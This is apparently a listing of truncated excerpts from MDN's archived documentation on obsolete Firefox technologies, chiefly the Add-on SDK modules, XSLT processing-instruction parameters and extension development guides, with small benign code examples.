.... y z aa ab . . . format="i" i ii iii iv v . . . format="i" i ii iii iv v . . . lang (not supported at this time.) specifies which language's alphabet should be used in letter-based numbering formats. letter-value disambiguates between numbering sequences that use letters. some languages have more than one numbering system that use letters. if both systems begin with the same token, ambiguity can arise. this attribute can have the value "alphabetic" or "traditional". the default is "alphabetic". grouping-separator specifies what character should be used as the group (e.g. thousands) separator. the default is the comma (,). grouping-size indicates the number of digits that make up a numeric group. the default value is "3". type instruct...
PI Parameters - XSLT: Extensible Stylesheet Language Transformations
e pis, see below. if the select attribute fails to parse or execute, the pi is ignored (in particular, it does not fall back to the value attribute). xslt-param-namespace the xslt-param-namespace uses two attributes: prefix the prefix that is mapped. namespace the namespace the prefix maps to. an xslt-param-namespace pi affects the expression in the select attribute for all xslt-params following the pi. this applies even if there are other nodes such as comments or other pis between the xslt-param-namespace and xslt-param pis. it is not an error for multiple pis to use the same prefix, every new pi just changes what namespace the prefix maps to. if prefix is missing, empty, or equals an invalid ncname, the pi is ignored. if namespace is missing, the pi is ignored. if namespa...
...-param-namespace prefix="my" namespace="http://www.example.org/mynamespace"?> <?xslt-param name="books" select="//my:book"?> supported versions supported as of firefox 2.0.0.1. the value attribute is supported in firefox 2, but the select attribute crashes for some expressions in the 2.0 release. possible future developments should we allow any xslt functions in the expression? document() seems useful, but it seems tricky to maintain the invariant that generate-id() should produce the same string for the same document. what about querying url parameters in the xslt stylesheet? e.g. passing them to specified <xsl:param>'s. ...
2015 MDN Fellowship Program - Archive of obsolete content
res in 2015 with the standardization efforts around the webgl 2.0 spec being published. activities and deliverables help us develop a curriculum on mdn for teaching developers new to graphics programming the webgl apis. required skills and experience computer graphics experience with programmable shaders and the opengl, opengl es, webgl, or direct3d apis. command of javascript and module systems preferred. mentor information nick desaulniers, sleeps at desk. github: nickdesaulniers twitter: @lostoracle web app performance brief project description web performance is a feature that needs to be considered from serving content to rendering to interactivity. finding and addressing performance bottlenecks depends on tooling the browser networking and rendering but also, often more i...
Navigator.mozNotification - Archive of obsolete content
provides support for creating notification objects, which are used to display desktop notification alerts to the user. currently, these are only supported on firefox mobile and firefox os. see displaying notifications for an example. the support for this property as been dropped in favor of the standard notification constructor. method overview notification createnotification(in domstring title, in domstring description, in domstring iconurl optional); methods createnotification() creates and returns a notification object that can be used to display the specified message with an optional url. notification createnotification( in domstring title, in domstring description, in domstring iconurloptional ); parameters title the notification title. description...
Loading Content Scripts - Archive of obsolete content
, data.url("my-content-script.js")] scripts specified using contentscriptfile are loaded before those specified using contentscript. this enables you to load a javascript library like jquery by url, then pass in a simple script inline that can use jquery. unless your content script is extremely simple and consists only of a static string, don't use contentscript: if you do, you may have problems getting your add-on approved on amo. instead, keep the script in a separate file and load it using contentscriptfile. this makes your code easier to maintain, secure, debug and review. the contentscriptwhen option specifies when the content script(s) should be loaded. it takes one of three possible values: "start" loads the scripts immediately after the document element for the page is i...
port - Archive of obsolete content
es are sent their payloads are automatically serialized, and when messages are received their payloads are automatically deserialized, so you don't need to worry about serialization. however, you do have to ensure that the payload can be serialized to json. this means that it needs to be a string, number, boolean, null, array of json-serializable values, or an object whose property values are themselves json-serializable. this means you can't send functions, and if the object contains methods they won't be encoded. you also can't include circular references. for example, to include an array of strings in the payload: // main.js var pagemods = require("sdk/page-mod"); var self = require("sdk/self"); var pagemod = pagemods.pagemod({ include: ['*'], contentscriptfile: self.data.url("co...
Communicating using "port" - Archive of obsolete content
es are sent their payloads are automatically serialized, and when messages are received their payloads are automatically deserialized, so you don't need to worry about serialization. however, you do have to ensure that the payload can be serialized to json. this means that it needs to be a string, number, boolean, null, array of json-serializable values, or an object whose property values are themselves json-serializable. this means you can't send functions, and if the object contains methods they won't be encoded. for example, to include an array of strings in the payload: var pagemodscript = "self.port.emit('loaded'," + " [" + " document.location.tostring()," + " document.title" + " ]" + ...
Module structure of the SDK - Archive of obsolete content
dialog"); var hash = require("../secrets/hash"); external modules as well as using the sdk's modules and writing your own, you can use modules that have been developed outside the sdk and made available to other add-on authors. there's a list of these "community-developed modules" in the sdk's github wiki, and to learn how to use them, see the tutorial on using external modules to add menu items to firefox. to import external modules, treat them like local modules: copy them somewhere under your add-ons "lib" directory and reference them with a path relative to the importing module. for example, this add-on places external modules in a "dependencies" directory: my-addon lib main.js dependencies geolocation.js it can t...
SDK API Lifecycle - Archive of obsolete content
developers using the sdk's apis need to know how far they can trust that a given api will not change in future releases. at the same time, developers maintaining and extending the sdk's apis need to be able to introduce new apis that aren't yet fully proven, and to retire old apis when they're no longer optimal or supported by the underlying platform. the api lifecycle aims to balance these competing demands. it has two main components: a stability index that defines how stable each module is a deprecation process that defines when and how stable sdk apis can be changed or removed from future versions of the sdk while giving developers enough time to update their code. stability index the stability index is adopted from node.js. the sdk uses only four of the six values defined by no...
Testing the Add-on SDK - Archive of obsolete content
tten in python). this suite basically tests cfx xpi's ability to produce the xpi files that we expect it to. cfx testex --filter <addon_example_folder_name>: a suite of tests which run test code for some example add-ons. this suite builds the example code, then runs these example add-on's test code. cfx testaddons --filter <addon_folder_name>: a suite of tests which run add-ons, which are themseleves tests. this suite builds add-ons which are tests (ie: their main.js script's merely run tests and close firefox when their tests are done), and runs them as cfx run would. cfx testpkgs --filter <file_name>:<test_name>: a suite of tests which run sdk module unit tests. this suite builds the entire addon-sdk repo as an add-on, like cfx xpi would, then runs the add-on like cfx test would. ...
Guides - Archive of obsolete content
api lifecycle definition of the lifecycle for the sdk's apis, including the stability ratings for apis. program id the program id is a unique identifier for your add-on. this guide explains how it's created, what it's used for and how to define your own. firefox compatibility working out which firefox releases a given sdk release is compatible with, and dealing with compatibility problems. sdk idioms working with events write event-driven code using the the sdk's event emitting framework. content scripts guide an overview of content scripts, including: what they are, what they can do, how to load them, how to communicate with them. two types of scripts this article explains the differences between the apis available to your main add-on code and those available ...
base64 - Archive of obsolete content
var base64 = require("sdk/base64"); var encodeddata = base64.encode("hello, world"); var decodeddata = base64.decode(encodeddata); globals functions encode(data, charset) creates a base-64 encoded ascii string from a string of binary data. parameters data : string the data to encode charset : string the charset of the string to encode (optional). the only accepted value is "utf-8". ...
page-worker - Archive of obsolete content
for conciseness, this example creates the content script as a string and uses the contentscript property. in your own add-ons, you will probably want to create your content scripts in separate files and pass their urls using the contentscriptfile property. unless your content script is extremely simple and consists only of a static string, don't use contentscript: if you do, you may have problems getting your add-on approved on amo. instead, keep the script in a separate file and load it using contentscriptfile. this makes your code easier to maintain, secure, debug and review. to learn much more about content scripts, see the working with content scripts guide. scripting trusted page content we've already seen that you can package html files in your add-on's data directory and load ...
panel - Archive of obsolete content
{ console.log(url); }); mypanel.show(); this example uses contentscript to supply the script as a string. it's usually better practice to use contentscriptfile, which is a url pointing to a script file saved under your add-on's data directory. warning: unless your content script is extremely simple and consists only of a static string, don't use contentscript: if you do, you may have problems getting your add-on approved on amo. instead, keep the script in a separate file and load it using contentscriptfile. this makes your code easier to maintain, secure, debug and review. getting user input note: this example uses the action button api, which is only available from firefox 29 onwards. the following add-on adds a button which displays a panel when clicked. the panel just conta...
private-browsing - Archive of obsolete content
he windows module will not list any private browser windows, generate any events for private browser windows, or let the add-on open any private browser windows the tabs module will not list any tabs that belong to private browser windows, and the add-on won't receive any events for such tabs any ui components will not be displayed in private browser windows any menus or menu items created using the context-menu will not be shown in context menus that belong to private browser windows the page-mod module will not attach content scripts to documents belonging to private browser windows any panel objects will not be shown if the active window is a private browser window the selection module will not include any selections made in private browser windows ...
request - Archive of obsolete content
to set several properties on the resulting request. parameters options : object optional options: name type url string,url this is the url to which the request will be made. can either be a string or an instance of the sdk's url. oncomplete function this function will be called when the request has received a response (or in terms of xhr, when readystate == 4). the function is passed a response object. headers object an unordered collection of name/value pairs representing headers to send with the request. content string,object the content to send to the server. if content is a string, it should be url-encoded (use encodeuricomponent). if content is an object, it should be a ...
system - Archive of obsolete content
t, converted to lower case. var system = require("sdk/system"); console.log("platform = " + system.platform); architecture the type of processor architecture you're running on. this will be one of: "arm"``,"ia32", or"x64"`. var system = require("sdk/system"); console.log("architecture = " + system.architecture); compiler the type of compiler used to build the host application. for example: "msvc", "n32", "gcc2", "gcc3", "sunc", "ibmc" var system = require("sdk/system"); console.log("compiler = " + system.compiler); build an identifier for the specific build, derived from the build date. this is useful if you're trying to target individual nightly builds. see nsixulappinfo's appbuildid. var system = require("sdk/system"); console.log("build = " + system.build); id the uuid for the...
ui - Archive of obsolete content
you initialize a sidebar with a url pointing to an html document supplied under your add-on's "data" directory. this document can refer to bundled css and javascript files, and your main add-on can communicate wit...
widget - Archive of obsolete content
cify one or more content scripts to load into the widget using the contentscript or contentscriptfile options to the widget() constructor. you can communicate with the script using either the postmessage() api or (preferably, usually) the port api. unless your content script is extremely simple and consists only of a static string, don't use contentscript: if you do, you may have problems getting your add-on approved on amo. instead, keep the script in a separate file and load it using contentscriptfile. this makes your code easier to maintain, secure, debug and review. for example, suppose we want to implement a media player as an add-on. we could implement the main user interface as a widget hosting an array of buttons to control play/pause/stop functions. we can then use a ...
High-Level APIs - Archive of obsolete content
mplement high-level apis for building add-ons: creating user interfaces, interacting with the web, and interacting with the browser. unless the documentation explicitly says otherwise, all these modules are "stable": we'll avoid making incompatible changes to them. addon-page create a page that does not contain navigational elements. base64 data encoding and decoding using base64 algorithms. clipboard interact with the system clipboard, setting and getting its contents. context-menu adds items, submenus, and menu separators to the page's context menu. hotkeys assign hotkey combinations to functions in your add-on. indexed-db exposes the indexeddb api to add-ons. l10n localize strings appearing in the add-on's javascript code. notifications display transient, toaster-styl...
/loader - Archive of obsolete content
re/modules/commonjs/toolkit/loader.js'); let loader = loadermodule.loader({ modules: { // overlay `toolkit/loader` so that `require('toolkit/loader')` // will return our `loadermodule`. 'toolkit/loader': loadermodule } }); use this feature with a great care though. while reuse may sound like a compelling idea it comes with the side effect of shared state, which can cause problems. for example, unload of a loader won't trigger unload hooks on pseudo-modules. globals each module loaded via the loader instance is secured in own js sandbox. these modules don't share scope and get their own set of built-ins (object, array, string ...). but sometimes it's convenient to define a set of common globals that will be shared across modules. this can be done using the optional globa...
content/loader - Archive of obsolete content
ts. loader adds code to initialize and validate a set of properties for managing content scripts: contenturl contentscript contentscriptfile contentscriptwhen contentscriptoptions allow when certain of these properties are set, the loader emits a propertychange event, enabling its users to take the appropriate action. the loader is used by modules that use content scripts but don't themselves load content, such as page-mod. modules that load their own content, such as panel and page-worker, use the symbiont module instead. symbiont inherits from loader but contains its own frame into which it loads content supplied as the contenturl option. example: the following code creates a wrapper on a hidden frame that reloads a web page in the frame every time the contenturl property is...
lang/type - Archive of obsolete content
se otherwise. let { isempty } = require('sdk/lang/type'); isempty({}); // true isempty({ init: false }); // false parameters value : object the variable to check. returns boolean : boolean indicating if value is an object with no properties. isjson(value) returns true if value is a string, number, boolean, null, array of json-serializable values, or an object whose property values are themselves json-serializable. returns false otherwise. let { isjson } = require('sdk/lang/type'); isjson({ value: 42 }); // true isjson({ fn: function () {} ); // false parameters value : mixed the variable to check. returns boolean : boolean indicating if value is an array/flat object containing only atomic values and other flat objects. instanceof(value, type) returns true if value is an ins...
net/xhr - Archive of obsolete content
twork. if access to local area networks isn't prevented, malicious code could access sensitive data. if transmission of cookies isn't prevented, malicious code could access sensitive data. attenuating access based on a regular expression may be ineffective if it's easy to write a regular expression that looks safe but contains a special character or two that makes it far less secure than it seems at first glance. possible attenuations before being exposed to unprivileged code, this object needs to be attenuated in such a way that, at the very least, it can't access the user's filesystem. this can probably be done most securely by white-listing the protocols that can be used in the url passed to the open() method, and limiting them to http:, https:, and possibly a special scheme that can...
places/history - Archive of obsolete content
cts representing queries. each query object can take several properties, which are queried against the history database. each property is and'd together, meaning that bookmarks must match each property within a query object. multiple query objects are then or'd together. options : object optional options: name type count number the number of bookmark items to return. if left undefined, no limit is set. sort string a string specifying how the results should be sorted. possible options are 'title', 'date', 'url', 'visitcount', 'keyword', 'dateadded' and 'lastmodified'. descending boolean a boolean specifying whether the results should be in descending order. by default, results are in ascending order. ...
remote/child - Archive of obsolete content
enables an sdk module loaded into a child process to access web content in the child process and communicate with modules in the main process. usage the sdk/remote/parent module enables sdk code to load modules into child processes. the sdk/remote/child module is for these "child process modules". it provides two main things: access to web content loaded into this child process port mechanisms to communicate with the main process interacting with web content to interact with web content, the sdk/remote/child module provides a frames property that's a list of all content frames loaded into this child process. each frame then has a content property that's the top-level dom window for the frame, and addeventlistener/removeeventlistener functions that enable you to listen to dom events...
remote/parent - Archive of obsolete content
the sdk/remote/parent module enables you to load sdk modules into the child process to give them direct access to content frames. these sdk modules have higher privileges than content scripts, and have their own module loader so they can load other sdk modules. its primary purpose is to help build apis. if you just need to access a web page, use sdk/page-mod to load a content script instead. terms process every application has at least one process running, the main process that displays the ui. multiprocess applications can have other remote processes where untrusted content like webpages are loaded. each process can contain many frames. frame every dom page loaded as a part of the application is loaded in a content frame. this includes the content of every tab in an application like...
system/runtime - Archive of obsolete content
1 a plugin subprocess. process_type_content 2 a content subprocess. process_type_ipdlunittest 3 an ipdl unit testing subprocess. widgettoolkit a string identifying the target widget toolkit in use. xpcomabi a string identifying the abi of the current processor and compiler vtable. this string takes the form <processor>-<compilerabi>, for example: "x86-msvc" or "ppc-gcc3". ...
test/assert - Archive of obsolete content
the tests using jpm test. you can use this object to make assertions about your program's state. for example: var a = 1; exports["test value of a"] = function(assert) { assert.ok(a == 1, "test that a is 1"); } require("sdk/test").run(exports); globals constructors assert(logger) create a new assert object. this function is only called by the unit test framework, and not by unit tests themselves. parameters logger : object object used to log the results of assertions. assert an object used to make assertions about a program's state in order to implement unit tests. the assert object's interface is defined by the commonjs unit testing specification, version 1.1. methods ok(guard, message) tests whether an expression evaluates to true. assert.ok(a == 1, "test that a is equal...
Low-Level APIs - Archive of obsolete content
to broadcast and subscribe to events. event/target create objects that broadcast events. frame/hidden-frame creates firefox frames (i.e. xul <iframe> elements) that are not displayed to the user. frame/utils provides helper functions for working with platform internals like frames and browsers. fs/path provides access to the local filesystem with the nodejs path module api. io/byte-streams provides streams for reading and writing bytes. io/file provides access to the local filesystem. io/text-streams provides streams for reading and writing text. lang/functional functional helper methods. lang/type functions for working with type detection. loader/cuddlefish the sdk's module loader. loader/sandbox create javascript sandboxes and execute scripts in them. net/url enabl...
cfx to jpm - Archive of obsolete content
o jpm: either rename your "main.js" to "index.js" and move it from "lib" to the top level or add a main field to package.json with the value "lib/main.js". loading modules the jpm tool uses the same logic as node.js to determine how to resolve the argument to require(). in most respects this is the same as the old cfx logic. however there are a few differences, because old compatibility shims have been removed. requiring local modules suppose your add-on is structured into separate modules: my-addon lib main.js utils.js when you want to use the "utils" module in "main.js", you should use a path relative to "main.js", and prefix the path with "./" to indicate that it's a relative path: var utils = require("./utils"); however, with cfx you are...
jpm-mobile - Archive of obsolete content
other npm package: npm install jpm-mobile -g depending on your setup, you might need to run this as an administrator: sudo npm install jpm-mobile -g at the command prompt, type: jpm-mobile you should see a screen summarizing the available jpm-mobile commands. note that unlike cfx, jpm-mobile is available in every command prompt you start, as long as you installed it with the -g flag. problems? if you don't see this, ask for help. sdk users and project team members discuss problems and proposals on the project mailing list. someone else may have had the same problem you do, so try searching the list. you're welcome to post a question, too. you can also chat with other sdk users in #jetpack on mozilla's irc network. command reference there are currently two jpm commands: jp...
Add a Menu Item to Firefox - Archive of obsolete content
but it's extensible by design, so anyone can build and publish modules for add-on developers to use. ...
Implementing the widget - Archive of obsolete content
ack to our add-on. the widget will have two icons: one to display when it's active, one to display when it's inactive. so there are three files we'll need to create: the widget's content script and its two icons. inside the data subdirectory create another subdirectory widget. we'll keep the widget's files here. this hierarchy isn't mandatory; you could just keep them all under data. but it seems tidier this way. the widget's content script the widget's content script just listens for left- and right- mouse clicks and posts the corresponding message to the add-on code: this.addeventlistener('click', function(event) { if(event.button == 0 && event.shiftkey == false) self.port.emit('left-click'); if(event.button == 2 || (event.button == 0 && event.shiftkey == true)) self.por...
Overview - Archive of obsolete content
f all the stored annotations. the annotation-editor panel enables the user to enter a new annotation. the annotation-list panel shows a list of all stored annotations. the annotation panel displays a single annotation. additionally, we use the notifications module to notify the user when the add-on's storage quota is full. working with the dom we'll use two page-mods to interact with the doms of pages that the user has opened. the selector enables the user to choose an element to annotate. it identifies page elements which are eligible for annotation, highlights them on mouseover, and tells the main add-on code when the user clicks a highlighted element. the matcher is responsible for finding annotated elements: it is initialized with the list of annotations and searches w...
Chrome Authority - Archive of obsolete content
re mapped into the module's local namespace. their statements must therefore be clear and easy to parse. a future manifest format may move the declaration portion out to a separate file, to allow for more fine-grained expression of authority. commands that build a manifest, like "jpm xpi" or "jpm run", will scan all included modules for use of cc/ci aliases (or the expanded components.classes forms). it will emit a warning if it sees the expanded forms, or if it sees a use of e.g. "cc" without a corresponding entry in the require("chrome") statement. these warnings will serve to guide developers to use the correct pattern. all module developers should heed the warnings and correct their code until the warnings go away. ...
Getting started (cfx) - Archive of obsolete content
some of the tutorials. advanced techniques overriding the built-in modules the sdk modules you use to implement your add-on are built into firefox. when you run or package an add-on using cfx run or cfx xpi, the add-on will use the versions of the modules in the version of firefox that hosts it. as an add-on developer, this is usually what you want. but if you're developing the sdk modules themselves, of course, it isn't. in this case it's assumed that you have checked out the sdk from its github repo and will have run the bin/activate script from the root of your checkout. then when you invoke cfx run or cfx xpi, you pass the "-o" option: cfx run -o this instructs cfx to use the local copies of the sdk modules, not the ones in firefox. developing without cfx run because cfx run re...
Listening for Load and Unload - Archive of obsolete content
your add-on exports a function called onunload(), then that function will be called when the add-on is unloaded, and it will be passed a string describing the reason it was unloaded. you don't have to use exports.main() or exports.onunload(). you can just place your add-on's code at the top level instead of wrapping it in a function assigned to exports.main(). it will be loaded in the same circumstances, but you won't get access to the load/unload reason or arguments. exports.main() your add-on's main.js code is executed as soon as it is loaded. it is loaded when it is installed, when it is enabled, or when firefox starts. if your add-on exports a function called main(), that function will be called immediately after the overall main.js is evaluated, and after all top-level require() st...
Developing for Firefox Mobile - Archive of obsolete content
ntent supported content/loader supported content/mod supported content/worker supported core/heritage supported core/namespace supported core/promise supported event/core supported event/target supported frame/hidden-frame supported frame/utils supported io/byte-streams supported io/file supported io/text-streams supported lang/functional supported lang/type supported loader/cuddlefish supported loader/sandbox supported net/url supported net/xhr supported places/bookmarks not supported places/favicon not supported places/history ...
Troubleshooting - Archive of obsolete content
of the firefox or xulrunner binary that it found, so you can check its output to be sure. check your text console when errors are generated in the sdk's apis and your code, they are logged to the text console. this should be the same console or shell from which you ran the jpm command. search for known issues someone else might have experienced your problem, too. other users often post problems to the project mailing list. you can also browse the list of known issues or search for specific keywords. contact the project team and user group sdk users and project team members discuss problems and proposals on the project mailing list. someone else may have had the same problem you do, so try searching the list. you're welcome to post a question, too. you can also chat with other sdk use...
Tutorials - Archive of obsolete content
this page lists practical hands-on articles about how to accomplish specific tasks using the sdk. getting started installation how to install the jpm tool, which you will use for developing add-ons. troubleshooting some pointers for fixing common problems and getting more help. getting started walkthrough of creating a simple add-on with the sdk, using jpm. create user interfaces add a toolbar button attach a button to the firefox add-on toolbar. add a menu item to firefox add items to firefox's main menus. display a popup display a popup dialog implemented with html and javascript. add a context menu item add items to firefox's context menu. interact with the browser open a web page open a web page in a new browser tab or window ...
Customizing the download progress bar - Archive of obsolete content
f some tweaking and experimentation, so perhaps there is a different and/or better way to achieve the same thing. we are specifying the height of the progress meter on windows and a background image on mac. the background image (the first one in the file) should be a segment of whatever you want the unfilled portion of the progress bar to look like. an image of 7 pixels wide and 12 pixels high seems to work well. the other two images are for the filled in progress bar on windows and mac respectively. once again, a height of 12 pixels or so and a few pixels wide seems about right, though you might have to experiment with this a bit. changing the progress bar for specific downloads this is all you need to change the progress bar appearance for all downloads. if you want to change it for cert...
Drag & Drop - Archive of obsolete content
was from inside the application if (dragsession.sourcenode) return; // setup a transfer item to retrieve the file data var trans = components.classes["@mozilla.org/widget/transferable;1"].createinstance(components.interfaces.nsitransferable); trans.adddataflavor("text/x-moz-url"); trans.adddataflavor("application/x-moz-file"); for (var i=0; i<dragsession.numdropitems; i++) { var uri = null; dragsession.getdata(trans, i); var flavor = {}, data = {}, length = {}; trans.getanytransferdata(flavor, data, length); if (data) { try { var str = data.value.queryinterface(components.interfaces.nsisupportsstring); } catch(ex) { } if (str) { uri = _ios.newuri(str.data.split("\n")[0...
HTML in XUL for rich tooltips - Archive of obsolete content
overlay, xmlns:html is used to enable html tags to be used inside the xul. our enhanced xul tooltip is an element that is written ahead of time, and it contains an html div element whose type attribute lowers its privileges to being that content element, although it is an element of chrome. this is recommended for security reasons, especially if remote html is to be inserted. a number of menuitems have a tooltip attribute pointing to the same tooltip. that tooltip is empty now, but we will use the mouseover event to dynamically populate the tooltip (which is about to be shown) with a different message for each menuitem. this is done by calling the onmousetooltip function, which will take the tooltiphtml attribute of the element that is being hovered over and safely convert that into dom an...
HTML to DOM - Archive of obsolete content
rs = htmlparser("<div id='userinfo'>john was a mediocre programmer, but people liked him <strong>anyway</strong>.</div>"); alert(dompars.getelementbyid('userinfo').innerhtml); to parse a complete html page, load it into an iframe whose type is content (not chrome). see using a hidden iframe element to parse html to a window's dom below. parsing complete html to dom loading an html document seems much simpler if it's loaded using the xmlhttprequest object. for that matter, we're going to load our html document first: var request = xmlhttprequest(); request.open("get", "http://example.org/file.html", false); request.send(null); our next step is to create the document object that will represent the dom into which we'll insert our newly-retrieved html: var doc = document.implementation.c...
IsDefaultNamespace - Archive of obsolete content
) supported across other browsers. note that all gecko-based browsers (including firefox) support node.isdefaultnamespace. this function is not necessary for gecko-based browsers (though the function will quickly return the standard value for mozilla browsers). ...
LookupNamespaceURI - Archive of obsolete content
function addlookupnamespaceuri (type) { if (!type.prototype.lookupnamespaceuri) { type.prototype.lookupnamespaceuri = lookupnamespaceuri; } function lookupnamespaceuri (prefix) { return lookupnamespaceurihelper(this, prefix); } function lookupnamespaceurihelper (node, prefix) { // adapted directly from http://www.w3.org/tr/dom-level-3-core/namespaces-algorithms.html#lookupnamespaceurialgo var i, att, htmlmode = document.contenttype, // mozilla only xmlnspattern = /^xmlns:(.*)$/; switch (node.nodetype) { case 1: // element_node (could also just test for node.element_node, etc., if supported in all browsers) if (node.namespaceuri != null && node.prefix === prefix) { ...
LookupPrefix - Archive of obsolete content
rs when used in xhtml. ...
Preferences - Archive of obsolete content
reason why you should usually pass strings ending with a dot to getbranch(), like prefs.getbranch("accessibility."). another caveat you should be aware of is that nsiprefbranch.getchildlist("",{}) returns an array of preference names that start with that branch's root, for example var branch = prefs.getbranch("accessibility."); var children = branch.getchildlist("", {}); will return these items (for the example tree above): "typeaheadfind.autostart", "typeaheadfind.enablesound", and "usebrailledisplay", not just direct children ("typeaheadfind" and "usebrailledisplay"), as you might have expected. using preference observers changes a user makes to your extension's preferences, such as through an options dialog, may not take effect until the browser is restarted (e.g., if you have init...
QuerySelector - Archive of obsolete content
...
Delayed Execution - Archive of obsolete content
mers.push(timer) - 1; return idx; } delay.timers = []; function repeat(timeout, func) { let timer = new timer(function () { func(); }, timeout, ci.nsitimer.type_repeating_slack); // store a reference to the timer so that it's not reaped before it fires. let idx = delay.timers.push(timer) - 1; return idx; } repeat.timers = []; // repeat a task every 1200ms repeat(1200, doathing); // do something 320ms from now delay(320, dosomething); ...
View Source for XUL Applications - Archive of obsolete content
method overview gviewsourceutils exposes several methods, but the only one you should be using directly is the viewsource method. ...
XML-related code snippets - Archive of obsolete content
e4x ...
Code snippets - Archive of obsolete content
les can also be used in xulrunner applications, as well as in actual mozilla code itself. these examples demonstrate how to accomplish basic tasks that might not be immediately obvious. general examples and demos from mdn articles a collection of examples and demos from articles. window code opening and manipulating windows toolbar toolbar related code sidebar sidebar related code forms forms related code xml code used to parse, write, manipulate, etc. xml file i/o code used to read, write and process files drag & drop code used to setup and handle drag and drop events dialogs code used to display and process dialog boxes alerts and notifications modal and non-modal ways to notify users preferences code used to read, write, and modify preferences js xpcom code us...
Common Pitfalls - Archive of obsolete content
it's important to create the uri correctly, and then check that it's secure to load. ...
Deploying a Plugin as an Extension - Archive of obsolete content
laced in the install.rdf is called an updateurl. for example: <em:updateurl><http://www.rhapsody.com/update.rdf></em:updateurl> this url specifies an rdf file that can be used to tell firefox that there are updates available for your extension. this rdf file can be updated to indicate that an update to our extension/plugin is available. finally, if you want to package plugins for multiple platforms into a single extension, you can do that as well. there are two ways to do this. first, you can simply put all the files in the plugins directory. firefox will load the correct plugins based on the platform, simply because the plugins for other platforms won't load. if your plugin is for windows, don't forget add to version resources to your plugin's dll. also, supply mimetype and fileextents, wi...
Jetpack Processes - Archive of obsolete content
ter, though new globals can be endowed by simply attaching them to the global scope as properties. evalinsandbox(asandbox, ascript) evaluates the given script contents in the given sandbox's global scope. at minimum, javascript 1.8.1 is used. individual lines of the form //@line 1 "foo.js" can be used to specify filename and line number information for debugging purposes. gc() synchronously performs garbage collection. handles messages that communicate between the browser and jetpack process may contain only serializable (json) data and handles. a handle can be used to provide context for messages. either the browser or the jetpack implementation may create one. a handle keeps any arbitrary properties attached to it alive, but those properties are not transmitted across the process boundary...
Chapter 1: Introduction to Extensions - Archive of obsolete content
s manager is an excellent way to manage extensions, and is a great step up in ease of use. the add-ons manager handles the following tasks: safely installs and uninstalls add-ons makes sure add-ons are compatible with the version of firefox you're using manages a whitelist of sites trusted for installing add-ons helps troubleshoot add-ons by disabling them and offering a safe mode confirms and runs updates provides access to add-ons' settings dialogs provides access to add-ons' support sites development environment amenities initially, there wasn't adequate documentation available, and extension developers were largely left to fend for themselves1; however, now there's a considerable store of knowledge. because firefox and its extensions are designed to support multiple langu...
Appendix A: Add-on Performance - Archive of obsolete content
n request, unlike chrome scripts which are generally loaded with the overlay at startup. keep as much of your code in jsm, make it as modular as you can, and only load modules as you require them. if your add-on is too simple for jsm, don’t worry about it. there’s still one more thing you can do. do as little as possible in your load handler. ask yourself: is there anything i can’t run 100 ms or even 500 ms later? if there is, just use an nsitimer or the settimeout function to delay running this code . the firefox window will be able to load sooner and your startup code will run almost instantaneously afterward, in parallel with the loading of the homepage or the saved tab session. the browser will now load faster, and your code will still load at startup for all practical purposes. t...
Useful Mozilla Community Sites - Archive of obsolete content
s the official mozilla repository for add-ons. it allows you to upload, search and download all types of add-ons for mozilla applications. this is the best way to get your extension to users from all around the world. adding your extension to amo is easy. all you need is your xpi, a few screenshots (good ones will make your extension much more appealing), and a few minutes to fill a couple of forms. but this won't make your extension public right away. amo has a review process that prevents malicious, insecure or low quality extensions to make it to the public site. your extension begins in a sandbox with limited access, and once you nominate it an editor will review it and see if it is appropriate for the public amo site, where everyone can see it and install it. the review process often t...
XPCOM Objects - Archive of obsolete content
ing it should have. xpcom components can implement multiple interfaces, and they often do. let's look at the preference service as an example of this. we'll look at its documentation in a very old xul site called xul planet. all of its documentation was planned to be migrated to mdc, but it looks like it was never finished and xul planet was discontinued. their xpcom documentation is better in terms of seeing the relationships between components and interfaces, so we'll use that. another useful resource is this xpcom reference. this is generated from source, and it's kept relatively up to date. it shows the relationships between components and interfaces, but it's more of a source browser than a documentation reference. stepping into the time machine, we see the preferences service compone...
Performance best practices in extensions - Archive of obsolete content
eeded if the user clicks a button, or if a given preference is enabled when it's not. if your extension has features that only work when the user has logged into a service, don't load the resources for those features until the user actually logs in. use javascript code modules you can create your own javascript code modules incorporating sets of features that are only needed under specific circumstances. this makes it easy to load chunks of your extension on the fly as needed, instead of loading everything all at once. while javascript modules can be extremely useful, and provide significant performance benefits, they should be used wisely. loading modules incurs a small cost, so breaking code up to an unnecessary degree can be counter-productive. code should be modularized to the extent ...
Signing an extension - Archive of obsolete content
ation name along with the file name. references signing a xpi - more detailed instructions including test procedures. key manager - a firefox extention that has the ability to sign xpi files. signing a firefox extension with a windows authenticode ssl certificate / key - note that some cas do not allow (or support) to divert an authenticode certificate to object signing. please check the terms of service. signing an executable with authenticode - for signing executable file (exe) ...
Updating addons broken by private browsing changes - Archive of obsolete content
after reading this document, contact josh matthews with further questions or clarifications, or file a bug if your extension has stopped working due to a change described here and you are having trouble updating it. ...
Add-ons - Archive of obsolete content
luding on the overall performance of firefox itself. this article offers some best practices and suggestions that can not only improve the performance and speed of your extension, but also of firefox itself. security best practices in extensions this document is intended as a guide for developers to promote best practices in securing your extension. your goal is to keep your users safe. some items mentioned are strict guidelines, meaning that if you don't follow them then your add-on will not be approved on mozilla add-ons. other items are recommendations. the difference will be clearly flagged. setting up an extension development environment this article provides suggestions for how to set up your mozilla application for extension development. these details apply to firefox, thunderbird...
Underscores in class and ID Names - Archive of obsolete content
note: browser support for underscores in css has greatly improved since this article was originally published in 2001 and the following recommendation is no longer accurate for most circumstances. summary: the use of the underscore character in css can lead to major display problems in multiple browsers. learn why this is so, and how to keep your sites from being bitten by this problem. this technical note examines the use of underscores in css, and why they should be generally avoided in most circumstances. it is a fairly common practice in many programming languages to use the underscore character (_) in the place of a "space" in variable and function names. for example, a function whose job is to "get the length of a string" might be called get_string_length, and a variable re...
Case Sensitivity in class and id Names - Archive of obsolete content
in the authoring of both css and javascript/dom (otherwise known as dhtml) routines, it is a near-certainty that class and id names will be used to identify elements. we have discovered, however, that many authors are running into trouble with class and id names because they're used to the bugs of browsers that don't fully support open standards. ...
MozAudioAvailable - Archive of obsolete content
fired when the audio buffer is full and the corresponding raw samples are available. general info specification dom l3 interface event bubbles no cancelable no target element default action none. properties property type description target read only eventtarget the event target (the topmost target in the dom tree). type read only domstring the type of event. bubbles read only boolean does the event normally bubble? cancelable read only boolean is it possible to cancel the event? framebuffer read only framebuffer (array) the decoded audio sample data (i.e., floats). time read only float timestamp for these samples measured from the start in seconds. ...
MozBeforeResize - Archive of obsolete content
